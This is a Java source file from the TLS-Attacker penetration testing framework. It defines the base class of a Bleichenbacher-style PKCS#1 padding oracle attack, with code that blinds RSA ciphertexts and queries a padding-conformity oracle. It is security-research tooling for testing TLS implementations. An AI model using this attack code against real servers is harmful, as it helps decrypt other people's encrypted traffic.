/**
* TLS-Attacker - A Modular Penetration Testing Framework for TLS
*
* Copyright 2014-2016 Ruhr University Bochum / Hackmanit GmbH
*
* Licensed under Apache License 2.0
* http://www.apache.org/licenses/LICENSE-2.0
*/
package de.rub.nds.tlsattacker.attacks.pkcs1;
import de.rub.nds.tlsattacker.attacks.pkcs1.oracles.Pkcs1Oracle;
import de.rub.nds.tlsattacker.util.ArrayConverter;
import java.math.BigInteger;
import java.security.interfaces.RSAPublicKey;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
/**
*
* @author Juraj Somorovsky <juraj.somorovsky@rub.de>
*/
public class Pkcs1Attack {
/**
* Initialize the log4j LOGGER.
*/
static Logger LOGGER = LogManager.getLogger(Pkcs1Attack.class);
protected final Pkcs1Oracle oracle;
protected final byte[] encryptedMsg;
protected final RSAPublicKey publicKey;
protected BigInteger c0;
protected final int blockSize;
protected BigInteger solution;
protected BigInteger bigB;
public Pkcs1Attack(byte[] msg, Pkcs1Oracle pkcsOracle) {
this.encryptedMsg = msg.clone();
this.publicKey = (RSAPublicKey) pkcsOracle.getPublicKey();
this.oracle = pkcsOracle;
c0 = BigInteger.ZERO;
this.blockSize = oracle.getBlockSize();
}
/**
*
* @param m
* original message to be changed
* @param si
* factor
* @return (m*si) mod N, or (m*si^e) mod N, depending on the oracle type, in
* a byte array
*/
protected byte[] prepareMsg(BigInteger m, BigInteger si) {
byte[] msg;
BigInteger tmp = multiply(m, si);
msg = ArrayConverter.bigIntegerToByteArray(tmp, blockSize, true);
return msg;
}
/**
*
* @param m
* original message to be changed
* @param si
* factor
* @return (m*si) mod N, or (m*si^e) mod N, depending on the oracle type
*/
protected BigInteger multiply(BigInteger m, BigInteger si) {
BigInteger tmp;
// if we use a real oracle (not a plaintext oracle), the si value has
// to be encrypted first.
if (!oracle.isPlaintextOracle()) {
// encrypt: si^e mod n
tmp = si.modPow(publicKey.getPublicExponent(), publicKey.getModulus());
} else {
tmp = si;
}
// blind: c0*(si^e) mod n
// or: m*si mod n (in case of plaintext oracle)
tmp = m.multiply(tmp);
return tmp.mod(publicKey.getModulus());
}
protected boolean queryOracle(BigInteger message, BigInteger si) {
byte[] msg = prepareMsg(message, si);
System.out.println(ArrayConverter.bytesToHexString(msg));
return oracle.checkPKCSConformity(msg);
}
protected boolean queryOracle(BigInteger message) {
byte[] msg = ArrayConverter.bigIntegerToByteArray(message, blockSize, true);
return oracle.checkPKCSConformity(msg);
}
public BigInteger getSolution() {
return solution;
}
}